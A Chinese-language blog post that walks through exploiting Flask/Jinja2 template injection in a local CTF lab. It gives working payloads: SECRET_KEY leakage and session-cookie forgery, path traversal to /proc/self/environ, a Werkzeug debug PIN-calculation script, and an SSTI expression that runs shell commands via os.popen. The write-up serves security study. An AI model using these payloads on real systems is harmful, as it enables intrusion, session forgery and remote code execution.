Flask SSTI 利用方式探索


Flask SSTI 利用方式探索

SSTI 简介 & 环境搭建

模板

一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同。要是所有的逻辑都放在前端进行,无疑会影响响应效果和效率,很不现实。把所有的逻辑放在后端,又会导致太过复杂,前轻后重

模板的诞生是为了将显示与数据分离,让前端工作人员专注表现设计,后台人员注重业务逻辑,同时简化代码的复杂程度。模板技术多种多样,但其本质是将模板文件和数据通过模板引擎生成最终的HTML代码。

Flask 使用 Jinja2 作为模板引擎,Jinja 的语法很简单,大致有这么几种:

{%...%} 语句 (Statements)
{{...}} 打印模板输出的表达式 (Expressions)
{} 注释
#...## 行注释 (Line Statements)

SSTI

SSTI,又称服务端模板注入攻击。jinja2模板中使用 {} 语法表示一个变量,它是一种特殊的占位符。当利用 jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充/替换。但是在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露代码执行GetShell 等问题

环境搭建

测试环境搭建:Ubuntu + Docker

环境:

https://github.com/Tiaonmmn/pasecactf_2019_web_honey_shop

敏感信息泄露导致身份伪造

flask session 机制

通过.隔开的 3 段内容,第一段其实就是 base64encode 后的内容,但去掉了填充用的等号,若 decode 失败,自己需要补上 1-3 个等号补全。中间内容为时间戳,在 flask 中时间戳若超过 31 天则视为无效。最后一段则是安全签名,将 session data时间戳flasksecretkey 通过 sha1 运算的结果。

demo 中的 session 1

demo 中的 session 2

方法一

该应用在 /hello 下存在 SSTI 漏洞:

config 下泄露了 SECRET_KEY

SECRET_KEY

使用 flask-unsign 工具(使用 pip 安装)伪造 Cookie:

flask-unsign --sign --cookie "{'balance': 6666}" --secret "7xrQRfVWmTHMRzwGXLhCQrECTqLndq1ODnvvDjKZ"

导入Cookie

方法二

http://127.0.0.1:8345/download?image=1.jpg 存在任意文件下载漏洞,下载环境变量文件:

http://127.0.0.1:8345/download?image=../../../../../../../../../proc/self/environ

Flask PIN 码利用

Flask PIN 码

Flask Debug 应用在模式下提供的一种页面端的交互调试工具,和我们平时使用的 Python 命令行是一样的,也就是给我们提供了一个交互式的 web 端 shell。但是 PIN 码的生成规则是有规律可循的,使得获取 PIN 码成为可能,之后能够利用的方式有很多。

from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345051575547'# str(uuid.getnode()),  /sys/class/net/eth0/address
    '613cacd3857f425e9409e544dece08da', # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

脚本中 6 个参数的获取方法:

username

运行 flask 的用户,之前读取 /etc/passwd 获取

modname

一般默认即可

app name

一般默认即可

路径

debug 下报错

网络地址

读取:/sys/class/net/eth0/address

int("02:42:ac:13:00:02".replace(":", ""), 16)

机器码

读取:/etc/machine-id 或者 /proc/self/cgroup

执行脚本

输入 PIN 码

SSTI 导致 RCE

代码执行

{%for i in range(10)%}
{%print(i)%}
{%endfor%}

python 魔法函数 + 内置函数

魔法函数

所谓魔法函数(Magic Methods),是 Python 的一种高级语法,允许你在类中自定义函数(函数名格式一般为 __x__),并绑定到类的特殊方法中。比如在类 A 中自定义 __str__ 函数,则在调用 str(A) 时,会自动调用 __str__ 函数,并返回相应的结果。在我们平时的使用中,可能经常使用 __init__ 函数和 __del__ 函数,其实这也是魔法函数的一种。

内置函数

在 python 中输入 help(__builtins__),可以查看帮助,简单地说就是 Python 中自带的函数

http://127.0.0.1:8345/hello?name={{%22%22.__class__.__base__.__subclasses__()[302].__init__.__globals__[%27os%27].popen(%22whoami%22).read()}}


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Shiro 权限绕过漏洞复现(CVE-2020-11989) Shiro 权限绕过漏洞复现(CVE-2020-11989)
Shiro 权限绕过漏洞复现(CVE-2020-11989)影响范围 Apache Shiro < 1.5.3 Spring 框架中只使用 Shiro 鉴权 环境搭建git clone https://github.com/l3yx
2020-07-01
下一篇 
SaltStack 远程命令执行漏洞复现(CVE-2020-11651) SaltStack 远程命令执行漏洞复现(CVE-2020-11651)
SaltStack 远程命令执行漏洞复现(CVE-2020-11651)SaltStack 简介SaltStack 是基于 Python 开发的一套 C/S 架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控
2020-05-13
  目录